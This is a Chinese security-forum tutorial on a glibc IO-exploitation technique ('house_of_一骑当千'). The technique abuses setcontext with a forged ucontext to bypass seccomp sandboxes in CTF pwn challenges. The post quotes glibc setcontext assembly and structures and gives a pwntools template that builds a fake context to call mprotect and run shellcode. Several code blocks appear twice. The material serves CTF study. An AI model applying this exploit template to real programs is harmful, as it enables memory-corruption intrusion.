首页
社区
课程
招聘
[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千
发表于: 2023-2-10 12:09 23511

[原创]无路远征——GLIBC2.37后时代的IO攻击之道(五)house_of_一骑当千

2023-2-10 12:09
23511

感谢团队师傅的分享,本来这一篇我是不想公开的。

沙盒是现在pwn题中绕不过的砍,前面提出的house_of_魑魅魍魉 和 house_of_琴瑟琵琶都没有提供绕过沙盒的方法,尤其是house_of_琴瑟琵琶只能控制一个参数,目前看来基本上无法绕过沙盒。而house_of_一骑当千是一种只用setcontext就定能绕过沙盒攻击手法。

setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdxsetcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。

setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdxrdx是一个函数的第3个参数。但是,在实际攻击过程中,只能控制一个参数,所以rdx不可控。目前,很多利用的方法,例如house_of_KIWI house_of_cat等中rdx都是编译级别的利用方式,可以很容易被修复,或者编译器发生变化也可能不再能使用。 house_of_KIWI出现很大一部分是解决了rdx的问题。house_of_emma也必须借助 house_of_KIWI才能绕过seccomp

以2.37以后还能使用的house_of_cat为例,对比源码和汇编可以发现,rdx之所以可控是因为,编译器在处理比较时使用了rdx

当然,还可以使用mov rdx,[rdi+8];mov [rsp],rax;call [rdx+x]这种 magic_gadget 来绕过沙盒,因为每个版本的gadget并不完全相同,所以这也不是长久之计。
因为setcontext是汇编所写(下面会详写),显然rdi修复成rdx也是GNU有意而为,今后也可能被修改成rcx甚至r15靠编译级别的攻击手段显然不能长久。如何能够完美绕过沙盒呢?

研究setcontext之前,我们要知道一个函数族,就是ucontext 函数族,它包括以下函数。

显然,虽然说用户上下文这么高深的词语,其实就是一块内存中存储了一些必要的数据。

以我们关注的setcontext为例 ,它是由汇编所写,在 /sysdeps/unix/sysv/linux/x86_64/setcontext.S中。剥离复杂的宏之后发现,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。(代码虽然很长,但为了展现全貌我就不做删减了,大家关注中文注释的地方)

ucontext函数族中可以看到存在ucontext类型的结构体,也就是传入setcontextrdi。这个结构体如下。

setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。

这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。

这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。结构体如下。

有关数据设置和传统利用setcontext+53时一样即可。

这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0

这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0

喜闻乐见的抄板子时间又到了。根据上面setcontext分析可以看出,我们只需要绕过关键的几个地方就能够实现和setcontext+53一样的攻击效果。假设,没有禁用mprotect,只有一次的largebin_attack的情况来攻击IO,模板如下。

我们以2022强网拟态决赛_vpn为例(题目内部附件叫:pminote_mc)。题目虽然使用了llvm进行了各种混淆手段,但仍不能摆脱屌丝菜单题的宿命,经过手动测试可以发现简单回复一下结构体和有关操作。结构体如下。

题目存在UAF,并且只能malloc5次。题目的唯一难度是是在显示程序上,他使用如下操作

也就是说即使能够简单执行system(heap),由于heap的开始时函数地址,也是无法简单执行system("/bin/sh")

那么此时我们的攻击思路是

需要说明的是由于题目没有seccomp,所以我的方法肯定是非预期解,然并卵我没有找到相关预期解是啥。exp如下

这一种方法只是为上面的例子一个延伸,当能够多次执行函数,而第一个参数又固定,可以使用getcontext + gets + gets + setcontext的通用解决方案,结合EOP使用。

就像我开头提到的,在目前情况下house_of_魑魅魍魉 和 house_of_琴瑟琵琶是很难有绕过沙盒的方法,但如果和house_of_一骑当千结合使用,沙盒绕过将是易如反掌。

同理,其他IO板子绝大部分都能够与house_of_一骑当千配合使用,一通百通,就不再赘述。

 
 
 
 
int
_IO_switch_to_wget_mode (FILE *fp)
{
    // 编译器在处理这一段时使用 rdx
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
int
_IO_switch_to_wget_mode (FILE *fp)
{
    // 编译器在处理这一段时使用 rdx
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
int getcontext(ucontext_t *ucp);
int setcontext(const ucontext_t *ucp)
void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);
int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
int getcontext(ucontext_t *ucp);
int setcontext(const ucontext_t *ucp)
void makecontext(ucontext_t *ucp, void (*func)(), int argc, ...);
int swapcontext(ucontext_t *restrict oucp,const ucontext_t *restrict ucp);
 
ENTRY(__setcontext)
    /* Save argument since syscall will destroy it.  */
    pushq    %rdi
    cfi_adjust_cfa_offset(8)
 
    /* Set the signal mask with
       rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8).  */
    leaq    oSIGMASK(%rdi), %rsi
    xorl    %edx, %edx
    movl    $SIG_SETMASK, %edi
    movl    $_NSIG8,%r10d
    movl    $__NR_rt_sigprocmask, %eax
    syscall
    /* Pop the pointer into RDX. The choice is arbitrary, but
       leaving RDI and RSI available for use later can avoid
       shuffling values.  */
    popq    %rdx   # 这是就是 rdi 向 rdx转换的关键。
    cfi_adjust_cfa_offset(-8)
    cmpq    $-4095, %rax        /* Check %rax for error.  */
    jae    SYSCALL_ERROR_LABEL    /* Jump to error handler if error.  */
 
    /* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)
    ldmxcsr oMXCSR(%rdx)
 
 
    /* Load the new stack pointer, the preserved registers and
       registers used for passing args.  */
    cfi_def_cfa(%rdx, 0)
    cfi_offset(%rbx,oRBX)
    cfi_offset(%rbp,oRBP)
    cfi_offset(%r12,oR12)
    cfi_offset(%r13,oR13)
    cfi_offset(%r14,oR14)
    cfi_offset(%r15,oR15)
    cfi_offset(%rsp,oRSP)
    cfi_offset(%rip,oRIP)
    /* 这里往下就是 setcontext+61 的地方*/
    movq    oRSP(%rdx), %rsp
    movq    oRBX(%rdx), %rbx
    movq    oRBP(%rdx), %rbp
    movq    oR12(%rdx), %r12
    movq    oR13(%rdx), %r13
    movq    oR14(%rdx), %r14
    movq    oR15(%rdx), %r15
 
#if SHSTK_ENABLED
    /* Check if shadow stack is enabled.  */
    testl    $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET
    jz    L(no_shstk)
 
    /* If the base of the target shadow stack is the same as the
       base of the current shadow stack, we unwind the shadow
       stack.  Otherwise it is a stack switch and we look for a
       restore token.  */
    movq    oSSP(%rdx), %rsi
    movq    %rsi, %rdi
 
    /* Get the base of the target shadow stack.  */
    movq    (oSSP + 8)(%rdx), %rcx
    cmpq    %fs:SSP_BASE_OFFSET, %rcx
    je    L(unwind_shadow_stack)
 
L(find_restore_token_loop):
    /* Look for a restore token.  */
    movq    -8(%rsi), %rax
    andq    $-8, %rax
    cmpq    %rsi, %rax
    je    L(restore_shadow_stack)
 
    /* Try the next slot.  */
    subq    $8, %rsi
    jmp    L(find_restore_token_loop)
 
L(restore_shadow_stack):
    /* Pop return address from the shadow stack since setcontext
       will not return*/
    movq    $1, %rax
    incsspq    %rax
 
    /* Use the restore stoken to restore the target shadow stack.  */
    rstorssp -8(%rsi)
 
    /* Save the restore token on the old shadow stack.  NB: This
       restore token may be checked by setcontext or swapcontext
       later.  */
    saveprevssp
 
    /* Record the new shadow stack base that was switched to.  */
    movq    (oSSP + 8)(%rdx), %rax
    movq    %rax, %fs:SSP_BASE_OFFSET
 
L(unwind_shadow_stack):
    rdsspq    %rcx
    subq    %rdi, %rcx
    je    L(skip_unwind_shadow_stack)
    negq    %rcx
    shrq    $3, %rcx
    movl    $255, %esi
L(loop):
    cmpq    %rsi, %rcx
    cmovb    %rcx, %rsi
    incsspq    %rsi
    subq    %rsi, %rcx
    ja    L(loop)
 
L(skip_unwind_shadow_stack):
    movq    oRSI(%rdx), %rsi
    movq    oRDI(%rdx), %rdi
    movq    oRCX(%rdx), %rcx
    movq    oR8(%rdx), %r8
    movq    oR9(%rdx), %r9
 
    /* Get the return address set with getcontext.  */
    movq    oRIP(%rdx), %r10
 
    /* Setup finally %rdx.  */
    movq    oRDX(%rdx), %rdx
 
    /* Check if return address is valid for the case when setcontext
       is invoked from __start_context with linked context.  */
    rdsspq    %rax
    cmpq    (%rax), %r10
    /* Clear RAX to indicate success.  NB: Don't use xorl to keep
       EFLAGS for jne.  */
    movl    $0, %eax
    jne    L(jmp)
    /* Return to the new context if return address valid.  */
    pushq    %r10
    ret
 
L(jmp):
    /* Jump to the new context directly.  */
    jmp    *%r10
 
L(no_shstk):
#endif
    /* The following ret should return to the address set with
    getcontext.  Therefore push the address on the stack.  */
    movq    oRIP(%rdx), %rcx
    pushq    %rcx
 
    movq    oRSI(%rdx), %rsi
    movq    oRDI(%rdx), %rdi
    movq    oRCX(%rdx), %rcx
    movq    oR8(%rdx), %r8
    movq    oR9(%rdx), %r9
 
    /* Setup finally %rdx.  */
    movq    oRDX(%rdx), %rdx
 
    /* End FDE here, we fall into another context.  */
    cfi_endproc
    cfi_startproc
 
    /* Clear rax to indicate success.  */
    xorl    %eax, %eax
    ret
PSEUDO_END(__setcontext)
 
weak_alias (__setcontext, setcontext)
ENTRY(__setcontext)
    /* Save argument since syscall will destroy it.  */
    pushq    %rdi
    cfi_adjust_cfa_offset(8)
 
    /* Set the signal mask with
       rt_sigprocmask (SIG_SETMASK, mask, NULL, _NSIG/8).  */
    leaq    oSIGMASK(%rdi), %rsi
    xorl    %edx, %edx
    movl    $SIG_SETMASK, %edi
    movl    $_NSIG8,%r10d
    movl    $__NR_rt_sigprocmask, %eax
    syscall
    /* Pop the pointer into RDX. The choice is arbitrary, but
       leaving RDI and RSI available for use later can avoid
       shuffling values.  */
    popq    %rdx   # 这是就是 rdi 向 rdx转换的关键。
    cfi_adjust_cfa_offset(-8)
    cmpq    $-4095, %rax        /* Check %rax for error.  */
    jae    SYSCALL_ERROR_LABEL    /* Jump to error handler if error.  */
 
    /* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)
    ldmxcsr oMXCSR(%rdx)
 
 
    /* Load the new stack pointer, the preserved registers and
       registers used for passing args.  */
    cfi_def_cfa(%rdx, 0)
    cfi_offset(%rbx,oRBX)
    cfi_offset(%rbp,oRBP)
    cfi_offset(%r12,oR12)
    cfi_offset(%r13,oR13)
    cfi_offset(%r14,oR14)
    cfi_offset(%r15,oR15)
    cfi_offset(%rsp,oRSP)
    cfi_offset(%rip,oRIP)
    /* 这里往下就是 setcontext+61 的地方*/
    movq    oRSP(%rdx), %rsp
    movq    oRBX(%rdx), %rbx
    movq    oRBP(%rdx), %rbp
    movq    oR12(%rdx), %r12
    movq    oR13(%rdx), %r13
    movq    oR14(%rdx), %r14
    movq    oR15(%rdx), %r15
 
#if SHSTK_ENABLED
    /* Check if shadow stack is enabled.  */
    testl    $X86_FEATURE_1_SHSTK, %fs:FEATURE_1_OFFSET
    jz    L(no_shstk)
 
    /* If the base of the target shadow stack is the same as the
       base of the current shadow stack, we unwind the shadow
       stack.  Otherwise it is a stack switch and we look for a
       restore token.  */
    movq    oSSP(%rdx), %rsi
    movq    %rsi, %rdi
 
    /* Get the base of the target shadow stack.  */
    movq    (oSSP + 8)(%rdx), %rcx
    cmpq    %fs:SSP_BASE_OFFSET, %rcx
    je    L(unwind_shadow_stack)
 
L(find_restore_token_loop):
    /* Look for a restore token.  */
    movq    -8(%rsi), %rax
    andq    $-8, %rax
    cmpq    %rsi, %rax
    je    L(restore_shadow_stack)
 
    /* Try the next slot.  */
    subq    $8, %rsi
    jmp    L(find_restore_token_loop)
 
L(restore_shadow_stack):
    /* Pop return address from the shadow stack since setcontext
       will not return*/
    movq    $1, %rax
    incsspq    %rax
 
    /* Use the restore stoken to restore the target shadow stack.  */
    rstorssp -8(%rsi)
 
    /* Save the restore token on the old shadow stack.  NB: This
       restore token may be checked by setcontext or swapcontext
       later.  */
    saveprevssp
 
    /* Record the new shadow stack base that was switched to.  */
    movq    (oSSP + 8)(%rdx), %rax
    movq    %rax, %fs:SSP_BASE_OFFSET
 
L(unwind_shadow_stack):
    rdsspq    %rcx
    subq    %rdi, %rcx
    je    L(skip_unwind_shadow_stack)
    negq    %rcx
    shrq    $3, %rcx
    movl    $255, %esi
L(loop):
    cmpq    %rsi, %rcx
    cmovb    %rcx, %rsi
    incsspq    %rsi
    subq    %rsi, %rcx
    ja    L(loop)
 
L(skip_unwind_shadow_stack):
    movq    oRSI(%rdx), %rsi
    movq    oRDI(%rdx), %rdi
    movq    oRCX(%rdx), %rcx
    movq    oR8(%rdx), %r8
    movq    oR9(%rdx), %r9
 
    /* Get the return address set with getcontext.  */
    movq    oRIP(%rdx), %r10
 
    /* Setup finally %rdx.  */
    movq    oRDX(%rdx), %rdx
 
    /* Check if return address is valid for the case when setcontext
       is invoked from __start_context with linked context.  */
    rdsspq    %rax
    cmpq    (%rax), %r10
    /* Clear RAX to indicate success.  NB: Don't use xorl to keep
       EFLAGS for jne.  */
    movl    $0, %eax
    jne    L(jmp)
    /* Return to the new context if return address valid.  */
    pushq    %r10
    ret
 
L(jmp):
    /* Jump to the new context directly.  */
    jmp    *%r10
 
L(no_shstk):
#endif
    /* The following ret should return to the address set with
    getcontext.  Therefore push the address on the stack.  */
    movq    oRIP(%rdx), %rcx
    pushq    %rcx
 
    movq    oRSI(%rdx), %rsi
    movq    oRDI(%rdx), %rdi
    movq    oRCX(%rdx), %rcx
    movq    oR8(%rdx), %r8
    movq    oR9(%rdx), %r9
 
    /* Setup finally %rdx.  */
    movq    oRDX(%rdx), %rdx
 
    /* End FDE here, we fall into another context.  */
    cfi_endproc
    cfi_startproc
 
    /* Clear rax to indicate success.  */
    xorl    %eax, %eax
    ret
PSEUDO_END(__setcontext)
 
weak_alias (__setcontext, setcontext)
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags); // 1个字长
    struct ucontext_t *uc_link;//1个字长
    stack_t uc_stack; //3个字长
    mcontext_t uc_mcontext; //操作部分1
    sigset_t uc_sigmask; //操作部分2
    struct _libc_fpstate __fpregs_mem; //操作部分3
     __extension__ unsigned long long int __ssp[4];//操作部分4
  } ucontext_t;
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags); // 1个字长
    struct ucontext_t *uc_link;//1个字长
    stack_t uc_stack; //3个字长
    mcontext_t uc_mcontext; //操作部分1
    sigset_t uc_sigmask; //操作部分2
    struct _libc_fpstate __fpregs_mem; //操作部分3
     __extension__ unsigned long long int __ssp[4];//操作部分4
  } ucontext_t;
typedef struct
  {
    gregset_t __ctx(gregs);
    /* Note that fpregs is a pointer.  */
    fpregset_t __ctx(fpregs);
    __extension__ unsigned long long __reserved1 [8];
} mcontext_t;
typedef struct
  {
    gregset_t __ctx(gregs);
    /* Note that fpregs is a pointer.  */
    fpregset_t __ctx(fpregs);
    __extension__ unsigned long long __reserved1 [8];
} mcontext_t;
typedef greg_t gregset_t[__NGREG];
 
#ifdef __USE_GNU
/* Number of each register in the `gregset_t' array.  */
enum
{
  REG_R8 = 0,
# define REG_R8        REG_R8
  REG_R9,
# define REG_R9        REG_R9
  REG_R10,
# define REG_R10    REG_R10
  REG_R11,
# define REG_R11    REG_R11
  REG_R12,
# define REG_R12    REG_R12
  REG_R13,
# define REG_R13    REG_R13
  REG_R14,
# define REG_R14    REG_R14
  REG_R15,
# define REG_R15    REG_R15
  REG_RDI,
# define REG_RDI    REG_RDI
  REG_RSI,
# define REG_RSI    REG_RSI
  REG_RBP,
# define REG_RBP    REG_RBP
  REG_RBX,
# define REG_RBX    REG_RBX
  REG_RDX,
# define REG_RDX    REG_RDX
  REG_RAX,
# define REG_RAX    REG_RAX
  REG_RCX,
# define REG_RCX    REG_RCX
  REG_RSP,
# define REG_RSP    REG_RSP
  REG_RIP,
# define REG_RIP    REG_RIP
  REG_EFL,
# define REG_EFL    REG_EFL
  REG_CSGSFS,        /* Actually short cs, gs, fs, __pad0.  */
# define REG_CSGSFS    REG_CSGSFS
  REG_ERR,
# define REG_ERR    REG_ERR
  REG_TRAPNO,
# define REG_TRAPNO    REG_TRAPNO
  REG_OLDMASK,
# define REG_OLDMASK    REG_OLDMASK
  REG_CR2
# define REG_CR2    REG_CR2
};
#endif
typedef greg_t gregset_t[__NGREG];
 
#ifdef __USE_GNU
/* Number of each register in the `gregset_t' array.  */
enum
{
  REG_R8 = 0,
# define REG_R8        REG_R8
  REG_R9,
# define REG_R9        REG_R9
  REG_R10,
# define REG_R10    REG_R10
  REG_R11,
# define REG_R11    REG_R11
  REG_R12,
# define REG_R12    REG_R12
  REG_R13,
# define REG_R13    REG_R13
  REG_R14,
# define REG_R14    REG_R14
  REG_R15,
# define REG_R15    REG_R15
  REG_RDI,
# define REG_RDI    REG_RDI
  REG_RSI,
# define REG_RSI    REG_RSI
  REG_RBP,
# define REG_RBP    REG_RBP
  REG_RBX,
# define REG_RBX    REG_RBX
  REG_RDX,
# define REG_RDX    REG_RDX
  REG_RAX,
# define REG_RAX    REG_RAX
  REG_RCX,
# define REG_RCX    REG_RCX
  REG_RSP,
# define REG_RSP    REG_RSP
  REG_RIP,
# define REG_RIP    REG_RIP
  REG_EFL,
# define REG_EFL    REG_EFL
  REG_CSGSFS,        /* Actually short cs, gs, fs, __pad0.  */
# define REG_CSGSFS    REG_CSGSFS
  REG_ERR,
# define REG_ERR    REG_ERR
  REG_TRAPNO,
# define REG_TRAPNO    REG_TRAPNO
  REG_OLDMASK,
# define REG_OLDMASK    REG_OLDMASK
  REG_CR2
# define REG_CR2    REG_CR2
};
#endif
/* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)
/* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)
ldmxcsr oMXCSR(%rdx)
ldmxcsr oMXCSR(%rdx)
ucontext =b''
ucontext += p64(0)*5
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len     
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
 
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址
padding = fake_io_file
payload_start_addr = fake_io_addr
# 0x2e8 下面的  print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = payload_start_addr + 0x2e8 + 0x10
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext)))  # 0xe8
 
'''
ucontext = ucontext.ljust(0x128,b'\x00')
 
# 加载信号量 ,好像全是0也行 ,0x10个字长
ucontext += p64(0)*0x10
# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)
 
ucontext =ucontext.ljust(0x1c0,b'\x00')
 
# ucontext += p64(0x1f80)    # LDMXCSR [rdx+0x1c0] 加载 MXCSR 寄存器,好像是0也行
'''
 
# payload 可以开始于 fake_io_file ,也可以直接从 ucontext 开始
payload = padding + ucontext
 
# 0x2e8 与 __rsp相呼应
print("IO_FILE len is",hex(len(payload))) 
# 自己写 shellcode
shellcode = """
 
"""
 
# largbin_attak 时需要 + 0x10
payload += p64(fake_io_addr + len(payload) + 0x8 + 0x10)  
 
payload += bytes(asm(shellcode))
ucontext =b''
ucontext += p64(0)*5
mprotect_len = 0x20000
__rdi = heap_addr # heap_addr binsh_addr
__rsi = mprotect_len     
__rbp = heap_addr + mprotect_len
__rbx = 0
__rdx = 7
__rcx = 0
__rax = 0
 
# 当下面 padding 为空时,fake_io_addr 就是 ucontext 开始的地址
padding = fake_io_file
payload_start_addr = fake_io_addr
# 0x2e8 下面的  print("IO_FILE len is",hex(len(payload)))
# largbin_attak 时需要 + 0x10
__rsp = payload_start_addr + 0x2e8 + 0x10
__rip = mprotect_addr
ucontext += p64(0)*8
ucontext += p64(__rdi)
ucontext += p64(__rsi)
ucontext += p64(__rbp)
ucontext += p64(__rbx)
ucontext += p64(__rdx)
ucontext += p64(__rcx)
ucontext += p64(__rax)
ucontext += p64(__rsp)
ucontext += p64(__rip)
ucontext = ucontext.ljust(0xe0,b'\x00')
ucontext += p64(heap_addr+0x6000)   # fldenv [rcx]  加载浮点环境,需要可写
print("ucontext len is:",hex(len(ucontext)))  # 0xe8
 
'''
ucontext = ucontext.ljust(0x128,b'\x00')
 
# 加载信号量 ,好像全是0也行 ,0x10个字长
ucontext += p64(0)*0x10
# ucontext += p64(0)+p64(0x0000002000000000)+p64(0)+p64(0)+p64(0x0000034000000340)+p64(0x0000000000000001)+p64(0x0000000103ae75f6)+p64(0)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0x0000034000000340)+p64(0)
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-3-26 20:01 被我超啊编辑 ,原因: 错字
上传的附件:
收藏
免费 4
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//